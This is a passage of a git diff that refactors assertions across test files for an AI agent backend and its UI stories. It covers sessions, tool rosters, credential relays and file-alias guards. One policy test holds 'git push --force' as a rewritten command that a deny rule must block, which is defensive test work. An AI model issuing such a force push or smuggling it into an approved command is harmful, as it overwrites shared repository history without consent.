"startInferenceRelay"); + try { + const { relay, inference } = piAutonomousEnvelope(openai, agentDir({ "models.json": { providers: { openai: { baseUrl: "https://gateway.example/ithaca/v1", apiKey: "$ODYSSEUS_PI_KEY" } } } })); + stops.push(relay.stop); + expect(inference.basePath).toBe("/ithaca/v1"); + expect(start).toHaveBeenCalledTimes(1); + expect(start.mock.calls[0]![0]).toMatchObject({ upstream: "https://gateway.example/ithaca/v1", credentials: { authorization: "Bearer sk-odysseus-override" } }); + } finally { + start.mockRestore(); + } }); test.each([ diff --git a/packages/ui-backend-pi/tests/autonomous-yield.test.ts b/packages/ui-backend-pi/tests/autonomous-yield.test.ts index 58ead86f3d..37f3f6b23d 100644 --- a/packages/ui-backend-pi/tests/autonomous-yield.test.ts +++ b/packages/ui-backend-pi/tests/autonomous-yield.test.ts @@ -70,7 +70,13 @@ test("Pi's real toolkit and runner checkpoint before abort, drain the actual wri autonomous: { origin: "autonomous", persistence: "none", allowedTools: ["brain_add"], systemPromptAppend: "", onYield: () => { signals++; expect(lock.locked).toBe(true); } } }).then(() => { autonomousFinished = true; }); await acquired; - const foreground = start(request); await Bun.sleep(20); + const foreground = start(request); + // The queued foreground registers its yield and wait timers on the fake clock. + for (let spins = 0; callbacks.size < 2; spins++) { + if (spins === 5_000) throw new Error(`the queued foreground registered ${callbacks.size} of 2 timers`); + await Bun.sleep(1); + } + expect([...callbacks.values()].map((timer) => timer.at).sort()).toEqual([20_000, 30_000]); try { time = 20_000; for (const [id, timer] of callbacks) if (timer.at <= time) { callbacks.delete(id); timer.fn(); } diff --git a/packages/ui-backend-pi/tests/brain-context-scope.test.ts b/packages/ui-backend-pi/tests/brain-context-scope.test.ts index 39bfb4950b..5c37be9bef 100644 --- a/packages/ui-backend-pi/tests/brain-context-scope.test.ts +++ b/packages/ui-backend-pi/tests/brain-context-scope.test.ts @@ -88,7 +88,7 @@ describe("brain_context in pi", () => { expect(coverage.exhaustive).toBe(false); expect(coverage.exclude).toEqual([FOCUS, REGISTRY]); expect(coverage.excerpts.length).toBeGreaterThan(0); - expect(coverage.excerpts.every((e) => e.lane === "search" || e.lane === "related")).toBe(true); + expect(coverage.excerpts.filter((e) => e.lane !== "search" && e.lane !== "related")).toEqual([]); }); test("include constrains selection and expansion, and names requested paths it left out", async () => { @@ -107,6 +107,6 @@ describe("brain_context in pi", () => { contextTool().execute("c", { query: SCOPE_QUERY, include: ["../outside.md"] }, undefined, undefined, CTX) ).rejects.toThrow("include:"); const after = await counts(); - expect(after.every(([rel, n]) => n === before.get(rel))).toBe(true); + expect(after).toEqual([...before]); }); }); diff --git a/packages/ui-backend-pi/tests/brain-context.test.ts b/packages/ui-backend-pi/tests/brain-context.test.ts index 835f52ee93..bdb956b6f9 100644 --- a/packages/ui-backend-pi/tests/brain-context.test.ts +++ b/packages/ui-backend-pi/tests/brain-context.test.ts @@ -81,7 +81,7 @@ test("no identity or focus section is prepended", async () => { test("the search's warnings lead the block when they fit", async () => { // Keyless: vector search is unavailable, and the block says so first. const out = await context("lantern", 4000); - expect(out.startsWith("> vector search unavailable")).toBe(true); + expect(out).toStartWith("> vector search unavailable"); expect(estimateTokens(out)).toBeLessThanOrEqual(4000); }); diff --git a/packages/ui-backend-pi/tests/brain-graph.test.ts b/packages/ui-backend-pi/tests/brain-graph.test.ts index ee5d0df712..5436a50da9 100644 --- a/packages/ui-backend-pi/tests/brain-graph.test.ts +++ b/packages/ui-backend-pi/tests/brain-graph.test.ts @@ -84,7 +84,7 @@ describe("brain_graph wrapper", () => { } expect(endpoints.size).toBeGreaterThan(1); const expected = [...endpoints].sort().map(expectedNode); - expect(expected.every((n) => n.title && n.type)).toBe(true); + expect(expected.filter((n) => !n.title || !n.type)).toEqual([]); expect(nodes).toEqual(expected); }); } diff --git a/packages/ui-backend-pi/tests/brain-read.test.ts b/packages/ui-backend-pi/tests/brain-read.test.ts index 116ee164f0..bb385b0306 100644 --- a/packages/ui-backend-pi/tests/brain-read.test.ts +++ b/packages/ui-backend-pi/tests/brain-read.test.ts @@ -43,7 +43,7 @@ describe("brain_read wrapper", () => { test("section returns that section and not the one before it", async () => { const text = await read({ path: "me/identity.md", section: "How to Work With Odysseus" }); - expect(text.startsWith("## How to Work With Odysseus\n")).toBe(true); + expect(text).toStartWith("## How to Work With Odysseus\n"); expect(text).toContain("Name the cost and the next action."); expect(text).not.toContain("## Current Identity"); }); @@ -105,7 +105,7 @@ describe("brain_read wrapper on a document over the output limit", () => { test("a path-only read is still clipped", async () => { expect(LONG.length).toBeGreaterThan(LIMIT); const text = await readBig({ path: "notes/long.md" }); - expect(text.startsWith(LONG.slice(0, LIMIT))).toBe(true); + expect(text).toStartWith(LONG.slice(0, LIMIT)); expect(text).toContain(`… [truncated ${LONG.length - LIMIT} bytes]`); expect(text).not.toContain("## Late"); }); diff --git a/packages/ui-backend-pi/tests/brain-update-bytes.test.ts b/packages/ui-backend-pi/tests/brain-update-bytes.test.ts index 7e49c01461..f8bd7a10ef 100644 --- a/packages/ui-backend-pi/tests/brain-update-bytes.test.ts +++ b/packages/ui-backend-pi/tests/brain-update-bytes.test.ts @@ -1,4 +1,4 @@ -import { afterAll, beforeAll, expect, test } from "bun:test"; +import { afterAll, beforeAll, expect, setSystemTime, test } from "bun:test"; import { readFileSync } from "fs"; import { join } from "path"; @@ -28,9 +28,14 @@ beforeAll(async () => { afterAll(() => brain.cleanup()); test("setting one field leaves the rest of the frontmatter byte-identical", async () => { - await createBrainAccess(brain.root).update({ path: "notes/demo.md", status: "draft" }); - const today = new Date().toISOString().slice(0, 10); + // The test owns the clock: the stamped date cannot roll over between the update and the expectation. + setSystemTime(new Date("2026-07-12T12:00:00Z")); + try { + await createBrainAccess(brain.root).update({ path: "notes/demo.md", status: "draft" }); + } finally { + setSystemTime(); + } expect(readFileSync(join(brain.root, "notes/demo.md"), "utf8")).toBe( - SOURCE.replace("status: active", "status: draft").replace("updated: 2026-01-05", `updated: ${today}`) + SOURCE.replace("status: active", "status: draft").replace("updated: 2026-01-05", "updated: 2026-07-12") ); }); diff --git a/packages/ui-backend-pi/tests/completed-response-usage.test.ts b/packages/ui-backend-pi/tests/completed-response-usage.test.ts index c6472bf33b..7765958895 100644 --- a/packages/ui-backend-pi/tests/completed-response-usage.test.ts +++ b/packages/ui-backend-pi/tests/completed-response-usage.test.ts @@ -54,8 +54,9 @@ test("ordinary Pi turns emit general completed usage and never count terminal re inputTokens: 10, cacheReadTokens: 20, cacheCreationTokens: 3, source: "pi_main_message", coverage: "runtime_normalized", } }]); const receipts = events.filter(event => String(event.kind) === "usage"); - expect(receipts.length, "BUDGET_PI_GENERAL_COMPLETED_RECEIPT").toBeGreaterThan(0); - expect(receipts.at(-1)).toMatchObject({ usage: { inputTokens: 10, outputTokens: 5, cacheReadTokens: 20, cacheCreationTokens: 3 } }); + // One completed answer: the turn_end redelivery, the next message_start and the aborted partial add none. + expect(receipts, "BUDGET_PI_GENERAL_COMPLETED_RECEIPT").toHaveLength(1); + expect(receipts[0]).toMatchObject({ atToolBoundary: true, usage: { inputTokens: 10, outputTokens: 5, cacheReadTokens: 20, cacheCreationTokens: 3 } }); expect(events.filter(event => event.kind === "autonomous_usage")).toEqual([]); } finally { session.dispose(); } }); diff --git a/packages/ui-backend-pi/tests/concurrency.test.ts b/packages/ui-backend-pi/tests/concurrency.test.ts index 2022ad5599..563916817e 100644 --- a/packages/ui-backend-pi/tests/concurrency.test.ts +++ b/packages/ui-backend-pi/tests/concurrency.test.ts @@ -35,6 +35,14 @@ import { makeMockBridge } from "./mock-bridge"; const CTX = {} as never; const settle = () => new Promise((r) => setTimeout(r, 15)); +/** Wait until each session's turn has reached its prompt: it has acquired, subscribed and emitted session_info. */ +async function prompted(...controls: Array<{ promptCalls: unknown[] }>) { + for (let spins = 0; controls.some((c) => c.promptCalls.length === 0); spins++) { + if (spins === 5_000) throw new Error(`${controls.filter((c) => c.promptCalls.length === 0).length} session(s) never reached their prompt`); + await new Promise((r) => setTimeout(r, 1)); + } + expect(controls.map((c) => c.promptCalls.length)).toEqual(controls.map(() => 1)); +} /** A bridge whose frames land in a shared array (so tests demux by sessionId). */ function sharedBridge(frames: ServerMessage[]): BackendBridge { @@ -130,7 +138,7 @@ describe("pi backend — parallel sessions", () => { signal: new AbortController().signal, bridge: sharedBridge(frames), }); - await settle(); // both acquire, subscribe, emit session_info, park on prompt + await prompted(a.control, b.control); // both acquire, subscribe, emit session_info, park on prompt // Interleave emissions across the two live sessions. a.control.emitText("a1"); @@ -148,8 +156,8 @@ describe("pi backend — parallel sessions", () => { expect(combined).toEqual(["A:a1", "B:b1", "A:a2", "B:b2"]); for (const id of ["A", "B"]) { - expect(frames.some((f) => f.type === "session_info" && f.sessionId === id)).toBe(true); - expect(frames.some((f) => f.type === "result" && f.sessionId === id)).toBe(true); + expect(frames.filter((f) => f.type === "session_info").map((f) => f.sessionId)).toContain(id); + expect(frames.filter((f) => f.type === "result").map((f) => f.sessionId)).toContain(id); } } finally { brain.cleanup(); @@ -172,7 +180,7 @@ describe("pi backend — parallel sessions", () => { const c1 = new AbortController(); const mock1 = makeMockBridge(); const turn1 = backend.startTurn({ prompt: "1", signal: c1.signal, bridge: mock1.bridge }); - await settle(); + await prompted(s.control); expect(mock1.emitted.find((f) => f.type === "session_info")?.sessionId).toBe("S"); const mock2 = makeMockBridge(); @@ -199,7 +207,7 @@ describe("pi backend — parallel sessions", () => { signal: new AbortController().signal, bridge: mock3.bridge, }); - expect(mock3.emitted.some((f) => f.type === "result" && f.sessionId === "S")).toBe(true); + expect(mock3.emitted.filter((f) => f.type === "result").map((f) => f.sessionId)).toEqual(["S"]); } finally { brain.cleanup(); } @@ -221,7 +229,7 @@ describe("pi backend — parallel sessions", () => { const c = new AbortController(); const mock = makeMockBridge(); const turn = backend.startTurn({ prompt: "start", signal: c.signal, bridge: mock.bridge }); - await settle(); + await prompted(f.control); expect(mock.emitted.find((m) => m.type === "session_info")?.sessionId).toBe("F"); // Follow-up lands in the running turn via streamingBehavior "followUp". diff --git a/packages/ui-backend-pi/tests/extension-inspection.test.ts b/packages/ui-backend-pi/tests/extension-inspection.test.ts index f196168033..2a835d2507 100644 --- a/packages/ui-backend-pi/tests/extension-inspection.test.ts +++ b/packages/ui-backend-pi/tests/extension-inspection.test.ts @@ -71,7 +71,7 @@ test("the curated default loads no extension and keeps skills and context files" expect([loaded.extensions.length, loaded.errors.length], "PI_CURATED_LOADS_NO_EXTENSION").toEqual([0, 0]); expect(existsSync(sentinel), "PI_CURATED_RAN_NO_EXTENSION").toBe(false); expect(loader.getSkills().skills.map(skill => skill.name), "PI_CURATED_KEEPS_SKILLS").toContain("chart-the-voyage"); - expect(loader.getAgentsFiles().agentsFiles.some(file => file.content.includes("Penelope keeps the loom")), "PI_CURATED_KEEPS_CONTEXT").toBe(true); + expect(loader.getAgentsFiles().agentsFiles.map(file => file.content), "PI_CURATED_KEEPS_CONTEXT").toContainEqual(expect.stringContaining("Penelope keeps the loom")); }); /** A stand-in backend that records whether a turn reached it. */ @@ -139,7 +139,7 @@ async function hosted(config: Record) { test("hosted curated default discloses inactive extensions at startup and keeps Pi available", async () => { const { report, logs, backend } = await hosted({}); - expect(report.sdk?.name, "PI_PROBE_STILL_REPORTS_SDK").toBeTruthy(); + expect(report.sdk?.name, "PI_PROBE_STILL_REPORTS_SDK").toBe("@earendil-works/pi-coding-agent"); expect(logs.some(line => line.includes("installed but inactive") && line.includes("loom.ts") && line.includes("aeolus.ts")), "PI_STARTUP_NAMES_INACTIVE").toBe(true); expect(await backend.listUnavailableProfiles!(), "PI_CURATED_REPORTS_NONE").toEqual([]); expect((await backend.listProfiles()).map(profile => profile.id), "PI_CURATED_LISTS_PROFILES").toEqual(["argo"]); diff --git a/packages/ui-backend-pi/tests/grant-surface-posture.test.ts b/packages/ui-backend-pi/tests/grant-surface-posture.test.ts index 253c2086ec..eded1db63a 100644 --- a/packages/ui-backend-pi/tests/grant-surface-posture.test.ts +++ b/packages/ui-backend-pi/tests/grant-surface-posture.test.ts @@ -65,7 +65,7 @@ async function runTurn( /** The turn ran and succeeded: not merely resolved (a failed turn resolves too). */ function expectSucceeded(frames: ServerMessage[]): void { - expect(frames.some((f) => f.type === "error")).toBe(false); + expect(frames.filter((f) => f.type === "error")).toEqual([]); expect(frames.find((f) => f.type === "result")).toMatchObject({ outcome: "success", isError: false, diff --git a/packages/ui-backend-pi/tests/history.test.ts b/packages/ui-backend-pi/tests/history.test.ts index 90cd0f927b..e2bf8f75ff 100644 --- a/packages/ui-backend-pi/tests/history.test.ts +++ b/packages/ui-backend-pi/tests/history.test.ts @@ -112,7 +112,7 @@ describe("SessionManager-backed history", () => { test("listPiSessions returns the created session", async () => { const sessions = await listPiSessions(cwd, sessionDir); - expect(sessions.some((s) => s.id === sessionId)).toBe(true); + expect(sessions.map((s) => s.id)).toContain(sessionId); }); test("getPiHistory normalizes the active branch", async () => { diff --git a/packages/ui-backend-pi/tests/host-relay.test.ts b/packages/ui-backend-pi/tests/host-relay.test.ts index 5692b46852..244f6890ec 100644 --- a/packages/ui-backend-pi/tests/host-relay.test.ts +++ b/packages/ui-backend-pi/tests/host-relay.test.ts @@ -30,7 +30,7 @@ beforeAll(async () => { const relayed = (name: string, request: Record, host: string) => { const result = results[name]!; expect(result.thrown, `${name} ran`).toBeNull(); - expect(result.outcomes.every(outcome => outcome === "success"), `${name} succeeded`).toBe(true); + expect(result.outcomes.filter(outcome => outcome !== "success"), `${name} succeeded`).toEqual([]); expect(result.requests, "PI_RELAY_HOST_CREDENTIAL_REACHES_UPSTREAM").toEqual(result.outcomes.map(() => expect.objectContaining(request))); expect(result.workerObserved, "PI_RELAY_WORKER_OBSERVED").toBe(true); expect(result.secretInWorker, "PI_RELAY_WORKER_HOLDS_NO_CREDENTIAL").toBe(false); diff --git a/packages/ui-backend-pi/tests/index-query-tools.test.ts b/packages/ui-backend-pi/tests/index-query-tools.test.ts index 2c2997e530..43f345d6b2 100644 --- a/packages/ui-backend-pi/tests/index-query-tools.test.ts +++ b/packages/ui-backend-pi/tests/index-query-tools.test.ts @@ -132,7 +132,7 @@ describe("registered pi query tools match real core MCP on a populated CLI index expect(actual.edges).toContainEqual({ source: CENTER, target: CENTER, resolved: true }); expect(actual.nodes.find(n => n.path === ISLAND)).toEqual({ path: ISLAND, title: "Ithaca", type: "project", summary: "Return to Ithaca", updated: "2026-01-03" }); expect(actual.nodes.map(n => n.path)).toEqual([...actual.nodes.map(n => n.path)].sort()); - expect(actual.nodes.some(n => n.path === "Absent Island" || n.path === "Unknown Harbour")).toBe(false); + expect(actual.nodes.filter(n => n.path === "Absent Island" || n.path === "Unknown Harbour")).toEqual([]); expect(await graph(call, { path: "notes/absent.md" })).toEqual({ edges: [], nodes: [] }); }); @@ -150,8 +150,8 @@ describe("registered pi query tools match real core MCP on a populated CLI index expect(await list(call, { limit: 0 })).toHaveLength(1); const all = await list(call, { limit: 1000 }); expect(all).toHaveLength(100); - expect(all.some(d => d.path === "notes/archive.md" || d.path === "notes/voyage-000.md")).toBe(false); - expect((await list(call, { type: "project" })).some(d => d.relevance === null && d.tags === null)).toBe(true); + expect(all.filter(d => d.path === "notes/archive.md" || d.path === "notes/voyage-000.md")).toEqual([]); + expect(await list(call, { type: "project" })).toContainEqual(expect.objectContaining({ relevance: null, tags: null })); expect(await list(call, { tag: "absent" })).toEqual([]); }); }); @@ -253,7 +253,7 @@ describe("registered pi tools keep the core query snapshot and connection lifeti const dir = clone(); const call = tools(dir); const before = await graph(call); - expect(before.nodes.some(n => n.path === ISLAND)).toBe(true); + expect(before.nodes.map(n => n.path)).toContain(ISLAND); const writer = new Database(join(dir, ".brain-index", "brain.db")); writer.exec("PRAGMA journal_mode=WAL"); let committed = false; @@ -267,7 +267,7 @@ describe("registered pi tools keep the core query snapshot and connection lifeti expect(committed).toBe(true); expect(actual, "edges and metadata must come from the pre-deletion snapshot").toEqual(before); const next = await graph(call); - expect(next.nodes.some(n => n.path === ISLAND)).toBe(false); + expect(next.nodes.map(n => n.path)).not.toContain(ISLAND); expect(next.edges).toContainEqual({ source: CENTER, target: "ithaca", resolved: false }); } finally { writer.close(true); } }); @@ -303,17 +303,17 @@ describe("registered pi tools keep the core query snapshot and connection lifeti const call = tools(dir); const oldList = await list(call); const oldGraph = await graph(call); - expect(oldList.some(d => d.title !== "Replaced Ithaca")).toBe(true); - expect(oldGraph.nodes.some(d => d.title !== "Replaced Ithaca")).toBe(true); + expect(oldList.map(d => d.title)).not.toContain("Replaced Ithaca"); + expect(oldGraph.nodes.map(d => d.title)).not.toContain("Replaced Ithaca"); renameSync(join(replacement, ".brain-index", "brain.db"), join(dir, ".brain-index", "brain.db")); const nextList = await list(call); const nextGraph = await graph(call); expect(nextList.length).toBeGreaterThan(0); expect(nextGraph.nodes.length).toBeGreaterThan(0); - expect(nextList.every(d => d.title === "Replaced Ithaca")).toBe(true); - expect(nextGraph.nodes.every(d => d.title === "Replaced Ithaca")).toBe(true); - expect(oldList.some(d => d.title !== "Replaced Ithaca")).toBe(true); - expect(oldGraph.nodes.some(d => d.title !== "Replaced Ithaca")).toBe(true); + expect(nextList.filter(d => d.title !== "Replaced Ithaca")).toEqual([]); + expect(nextGraph.nodes.filter(d => d.title !== "Replaced Ithaca")).toEqual([]); + expect(oldList.map(d => d.title)).not.toContain("Replaced Ithaca"); + expect(oldGraph.nodes.map(d => d.title)).not.toContain("Replaced Ithaca"); }); test("list and graph initialize no executable config and close each native read connection", async () => { diff --git a/packages/ui-backend-pi/tests/native-history-removal.test.ts b/packages/ui-backend-pi/tests/native-history-removal.test.ts index 9909430e76..94b5134649 100644 --- a/packages/ui-backend-pi/tests/native-history-removal.test.ts +++ b/packages/ui-backend-pi/tests/native-history-removal.test.ts @@ -117,7 +117,7 @@ test("a transcript is attributed by its header, and links stay untouched", async expect(existsSync(join(replay.dir, replay.name)), "HARD_LINK_NOT_UNLINKED").toBe(true); expect(lstatSync(join(replay.dir, replay.name)).nlink).toBe(2); // The tree its header attributes to the target is gone; the control chat is intact. - expect(readdirSync(sessionDir).some(name => name.endsWith(`_${target}.jsonl`))).toBe(false); + expect(readdirSync(sessionDir).filter(name => name.endsWith(`_${target}.jsonl`))).toEqual([]); expect(readFileSync(join(sessionDir, controlFile), "utf8")).toContain(CONTROL); expect(text(await backend.getHistory(control))).toContain(CONTROL); await expect(backend.removeSessionHistory!({ operationId: "retire-voyage", sessionId: "../penelope-letters" })).rejects.toBeInstanceOf(BackendRequestError); diff --git a/packages/ui-backend-pi/tests/overview-discovery.test.ts b/packages/ui-backend-pi/tests/overview-discovery.test.ts index 372b760dae..257d94b97d 100644 --- a/packages/ui-backend-pi/tests/overview-discovery.test.ts +++ b/packages/ui-backend-pi/tests/overview-discovery.test.ts @@ -68,6 +68,8 @@ describe("pi brain_list paged discovery", () => { const { text } = await call("brain_list", { type: "project", limit: 5 }); const value = JSON.parse(text) as { documents: object[] }; expect(Object.keys(value)).toEqual(["documents"]); + // The corpus holds more than five projects, so the loop below checks a full page. + expect(value.documents).toHaveLength(5); for (const row of value.documents) expect(Object.keys(row)).toEqual(["path", "title", "type", "relevance", "status", "tags"]); }); diff --git a/packages/ui-backend-pi/tests/policy-commands.test.ts b/packages/ui-backend-pi/tests/policy-commands.test.ts index a3e1b527be..114b9d95e3 100644 --- a/packages/ui-backend-pi/tests/policy-commands.test.ts +++ b/packages/ui-backend-pi/tests/policy-commands.test.ts @@ -29,6 +29,6 @@ for (const binding of ["rpc", "gate"] as const) { const result = await probe(binding, { deny: [force], confirm: [{ ...force, pattern: "^git status" }], command: "git status", decision: { behavior: "allow", updatedInput: { command: "git push --force" } } }); expect(result.executed, "PI_POLICY_EDIT_DENY_BEFORE_EXECUTION").toBe(false); - expect(result.events.some(e => e.kind === "policy_block")).toBe(true); + expect(result.events.map(e => e.kind)).toContain("policy_block"); }); } diff --git a/packages/ui-backend-pi/tests/policy-membership.test.ts b/packages/ui-backend-pi/tests/policy-membership.test.ts index 893e4d9e11..7fc24a850c 100644 --- a/packages/ui-backend-pi/tests/policy-membership.test.ts +++ b/packages/ui-backend-pi/tests/policy-membership.test.ts @@ -15,6 +15,6 @@ for (const mode of ["interactive", "voice", "autonomous"] as const) test(`pi pol ...(mode === "autonomous" ? { autonomous: { allowedTools: [], systemPromptAppend: "Autonomous." } as never } : {}) }; const { entry } = await pool.acquire(req); const names = createPiBridgeTools({ brainPath: ".", turn: entry.turnContext, capabilities: observed!.caps }).map(tool => tool.name); - expect(names.includes("propose_policy_change")).toBe(mode !== "autonomous"); + expect(names.filter(name => name === "propose_policy_change")).toEqual(mode === "autonomous" ? [] : ["propose_policy_change"]); expect(DEFAULT_PI_ALLOWED_TOOLS).not.toContain("propose_policy_change"); pool.finish(entry); }); diff --git a/packages/ui-backend-pi/tests/provider-history-apify.test.ts b/packages/ui-backend-pi/tests/provider-history-apify.test.ts index 44eb27c9c5..6275d95428 100644 --- a/packages/ui-backend-pi/tests/provider-history-apify.test.ts +++ b/packages/ui-backend-pi/tests/provider-history-apify.test.ts @@ -29,5 +29,5 @@ test("Pi Apify tools reach the host and keep tools, instructions and history sta } const names = body(main(capture)[0]!).tools.map((tool: { name: string }) => tool.name).filter((name: string) => name.startsWith("brain_apify_")); expect(names, "APIFY_PI_FIXED_NAMES_IN_ORDER").toEqual(APIFY_OPERATIONS.map(operation => APIFY_TOOL_NAMES[operation])); - for (const exchange of capture.exchanges) expect(exchange.raw.includes(SENTINEL), "APIFY_PI_TOKEN_NEVER_IN_PROVIDER_REQUESTS").toBe(false); + for (const exchange of capture.exchanges) expect(exchange.raw, "APIFY_PI_TOKEN_NEVER_IN_PROVIDER_REQUESTS").not.toContain(SENTINEL); }); diff --git a/packages/ui-backend-pi/tests/provider-history.test.ts b/packages/ui-backend-pi/tests/provider-history.test.ts index ca34e9a462..061a2215f0 100644 --- a/packages/ui-backend-pi/tests/provider-history.test.ts +++ b/packages/ui-backend-pi/tests/provider-history.test.ts @@ -11,7 +11,7 @@ test("Pi captures three real resumed interactive turns and a tool result through expect(capture.sessions).toHaveLength(3); expect(new Set(capture.sessions).size).toBe(1); expect(main(capture).map(e => e.turn)).toEqual([0, 0, 1, 2]); - expect(main(capture).every(e => e.path === "/v1/responses")).toBe(true); + expect(main(capture).map(e => e.path).filter(path => path !== "/v1/responses")).toEqual([]); expect(main(capture)[1]!.raw).toContain('"function_call_output"'); if (name !== "promotion") expect(main(capture)[1]!.raw).toContain("Odysseus repairs the raft."); } diff --git a/packages/ui-backend-pi/tests/session-storage.test.ts b/packages/ui-backend-pi/tests/session-storage.test.ts index a57617510e..731e64b6f4 100644 --- a/packages/ui-backend-pi/tests/session-storage.test.ts +++ b/packages/ui-backend-pi/tests/session-storage.test.ts @@ -30,16 +30,18 @@ test("session storage refuses a filesystem-root brain before creating state dire expect(existsSync(dir), "a filesystem-root brain has no external state directory").toBe(false); expect(failure?.message).toContain("outside the brain"); }); -test.each(["symlink", "hardlink"])("transcript %s alias cannot truncate policy bytes", kind => { +// The refusal names the alias guard that fired, so an earlier refusal cannot stand in for it. +const ALIAS_REFUSAL = { symlink: /ELOOP/, hardlink: /must be an unaliased regular file/ } as const; +test.each(["symlink", "hardlink"] as const)("transcript %s alias cannot truncate policy bytes", kind => { const f = fixture(), id = randomUUID(); (kind === "symlink" ? symlinkSync : linkSync)(f.policy, join(f.state, `${id}.jsonl`)); - expect(() => savePiSession(f.state, id, [{ type: "session", id }])).toThrow(); + expect(() => savePiSession(f.state, id, [{ type: "session", id }])).toThrow(ALIAS_REFUSAL[kind]); expect(readFileSync(f.policy, "utf8")).toBe("Athena owns policy.\n"); }); -test.each(["symlink", "hardlink"])("native credential %s alias cannot write policy bytes", kind => { +test.each(["symlink", "hardlink"] as const)("native credential %s alias cannot write policy bytes", kind => { const f = fixture(); (kind === "symlink" ? symlinkSync : linkSync)(f.policy, join(f.state, "auth.json")); - expect(() => syncPiAuth(f.state, "Athena owns policy.\n", "{}")).toThrow(); + expect(() => syncPiAuth(f.state, "Athena owns policy.\n", "{}")).toThrow(ALIAS_REFUSAL[kind]); expect(readFileSync(f.policy, "utf8")).toBe("Athena owns policy.\n"); }); test("native credential synchronization refuses stale input and stores exact refreshed bytes", () => { diff --git a/packages/ui-backend-pi/tests/stable-roster.test.ts b/packages/ui-backend-pi/tests/stable-roster.test.ts index fa353e3c03..bfdc0eee9b 100644 --- a/packages/ui-backend-pi/tests/stable-roster.test.ts +++ b/packages/ui-backend-pi/tests/stable-roster.test.ts @@ -18,7 +18,7 @@ test("Pi production session acquisition builds one full roster even voice-first ...(mode === "voice" ? { posture: "voice" } : {}), noGrantSurface: mode !== "typed" }); const tools = createPiBridgeTools({ brainPath: "/tmp/odysseus", turn: entry.turnContext, capabilities: observed!.caps }); rosters.push(JSON.stringify(tools.map(tool => ({ name: tool.name, description: tool.description, parameters: tool.parameters })))); - for (const name of [...names, "brain_compute_run", "brain_compute_collect"]) expect(tools.some(tool => tool.name === name), `PI_FULL_ROSTER_${mode}_${name}`).toBe(true); + for (const name of [...names, "brain_compute_run", "brain_compute_collect"]) expect(tools.map(tool => tool.name), `PI_FULL_ROSTER_${mode}_${name}`).toContain(name); pool.finish(entry); } for (const roster of rosters.slice(1)) expect(roster, "PI_FIXED_VOICE_FIRST_ROSTER").toBe(rosters[0]); diff --git a/packages/ui-backend-pi/tests/tool-execution-evidence.test.ts b/packages/ui-backend-pi/tests/tool-execution-evidence.test.ts index 3bdb1ae1ae..6a5ec83c58 100644 --- a/packages/ui-backend-pi/tests/tool-execution-evidence.test.ts +++ b/packages/ui-backend-pi/tests/tool-execution-evidence.test.ts @@ -44,7 +44,7 @@ async function evidence(loadExtensions: boolean | undefined, modes: string[]) { frames.push(frame); if ("sessionId" in frame) sessionId ??= frame.sessionId; }, requestPermission: async () => ({ behavior: "allow" }), readBrainBase: async () => ({ content: "Penelope weaves.\n", expectedBaseHash: "0".repeat(64) }) } }); - expect(frames.filter(frame => frame.type === "tool_result").every(frame => frame.type === "tool_result" && !frame.isError), `PI_EVIDENCE_${mode.toUpperCase()}_RESULTS`).toBe(true); + expect(frames.filter(frame => frame.type === "tool_result" && frame.isError), `PI_EVIDENCE_${mode.toUpperCase()}_RESULTS`).toEqual([]); } return { reported }; diff --git a/packages/ui-backend-pi/tests/worker-session.test.ts b/packages/ui-backend-pi/tests/worker-session.test.ts index 4b078c8c4f..c78195ef5c 100644 --- a/packages/ui-backend-pi/tests/worker-session.test.ts +++ b/packages/ui-backend-pi/tests/worker-session.test.ts @@ -142,6 +142,7 @@ test("turn-temp promotion preserves native answer bytes and reloads promoted UI const answer = "The voyage report is [ready](/tmp/brain-worker-scratch/report.pdf). Not [this](/tmp/brain-worker-scratch/pi-state/auth.json)."; // Stands in for the worker's private /tmp, as the server holds it (#1703). const tmp = mkdtempSync(join(tmpdir(), "pi-turn-temp-")); + children.push(() => rmSync(tmp, { recursive: true, force: true })); mkdirSync(join(brain,".brain/scratch"),{recursive:true}); writeFileSync(join(brain,".gitignore"),".brain/scratch/\n"); const scratchReader = createFixtureWorkerStartupView(brain); @@ -203,7 +204,6 @@ test("turn-temp promotion preserves native answer bytes and reloads promoted UI // its admission is released. expect(closed).toBe(1); expect(worker.processStateLedger().turnTempHeld).toBe(0); - rmSync(tmp, { recursive: true, force: true }); }); test("Pi releases a turn's turn-temp reservation only once its awaited close confirms, and retries an unconfirmed close (#2854)", async () => { const base = launch.getMockImplementation()!; diff --git a/packages/ui-kit/stories/agents/LaneChart.stories.tsx b/packages/ui-kit/stories/agents/LaneChart.stories.tsx index 213a21de38..497596e2d2 100644 --- a/packages/ui-kit/stories/agents/LaneChart.stories.tsx +++ b/packages/ui-kit/stories/agents/LaneChart.stories.tsx @@ -51,7 +51,7 @@ export const LegendMatchesTheChart = meta.story({ // the whole visual claim. await expect(getComputedStyle(hatched).color).not.toBe(getComputedStyle(solid).color); // And it really is a fraction of the same hue, not a second colour. - await expect(getComputedStyle(hatched).color.startsWith("rgba(")).toBe(true); + await expect(getComputedStyle(hatched).color).toMatch(/^rgba\(/); }, }); diff --git a/packages/ui-kit/stories/blocks/CodeBlock.stories.tsx b/packages/ui-kit/stories/blocks/CodeBlock.stories.tsx index 535ca38e33..273b9ff6e1 100644 --- a/packages/ui-kit/stories/blocks/CodeBlock.stories.tsx +++ b/packages/ui-kit/stories/blocks/CodeBlock.stories.tsx @@ -43,6 +43,9 @@ export const NoWrap = Default.extend({ const pre = canvasElement.querySelector("pre")!; await userEvent.tab(); await expect(pre).toHaveFocus(); + // The line is kept whole, so there is something to scroll: a wrapped block + // has no overflow, and scrolling it "to the end" would pass at 0. + await expect(pre.scrollWidth - pre.clientWidth, "the line overflows rather than wrapping").toBeGreaterThan(20); pre.scrollLeft = pre.scrollWidth; await waitFor(() => expect(Math.abs(pre.scrollWidth - pre.clientWidth - pre.scrollLeft)).toBeLessThanOrEqual(1)); }, diff --git a/packages/ui-kit/stories/blocks/LinkPreviewCard.stories.tsx b/packages/ui-kit/stories/blocks/LinkPreviewCard.stories.tsx index 66477d33c8..2a2b6829e9 100644 --- a/packages/ui-kit/stories/blocks/LinkPreviewCard.stories.tsx +++ b/packages/ui-kit/stories/blocks/LinkPreviewCard.stories.tsx @@ -113,7 +113,7 @@ export const Destination = meta.story({ play: async ({ canvas, canvasElement }) => { const card = await canvas.findByRole("region", { name: "Link to ithaca-harbour.example" }); // The host is the first text in the card, and the card is not itself a target. - await expect(card.textContent!.startsWith("ithaca-harbour.example")).toBe(true); + await expect(card.textContent).toMatch(/^ithaca-harbour\.example/); await expect(canvasElement.querySelector('[role="button"], 